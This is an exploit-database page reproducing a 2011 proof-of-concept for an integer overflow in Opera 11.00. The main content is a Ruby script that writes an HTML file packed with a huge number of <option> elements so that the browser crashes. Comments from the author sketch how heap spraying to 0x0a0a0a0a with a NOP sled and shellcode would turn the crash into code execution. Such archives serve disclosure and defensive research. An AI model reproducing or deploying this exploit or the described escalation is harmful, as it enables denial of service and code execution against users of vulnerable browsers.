ExploitFixes
Opera Web Browser 11.00 Integer Overflow Vulnerability 2011-01-25 18:15:06

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#[+]Exploit Title: Exploit Integer Overflow Opera Web Browser 11.00
#[+]Date: 24\01\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://get12.opera.com/pub/opera/win/1100/int/Opera_1100_int_Setup.exe
#[+]Version: 11.00
#[+]Tested On: WIN-XP SP3 PORTUGUESE BRAZILIAN
#[+]CVE: N/A
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#Note:
#This exploit is only a Denial of Service in opera web browser
#I created a poc using heap spray that allow code execution
#but I will not post here because it can be used for evil
#And I do not want that.
# for you to explore the program you control with the number esi childrens then created using a spray heap address any such
#0a0a0a0a the data in address should be the point to the beginning of the shellcode
#0a0a0a0a => \x90\x90\x90 => and your shellcode
#Then the function mov eax, [esi] places the value in eax then the program call eax and boom run shellcode !!!!!
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print "[*]Creating the Exploit\n"
i = 0
buf = "<option>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</option>\n"

while i<0x4141
buf += "<option>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</option>\n"
i+=1
end

HTML =
"<html>\n"+
"<body>\n\n"+
"<select>\n\n"

HTML+=buf * 100
HTML += "\n\n\n\</select>\n\n"+
"</body>\n\n\n"+
"</html>\n\n\n\n\n"

f = File.open("Exploit_opera_11.00.html","w")
f.puts HTML
f.close
puts "\n\n\[*]File Created With Sucess"
sleep(1)
puts "[*]Go to my Site www.invasao.com.br!"
sleep(1)
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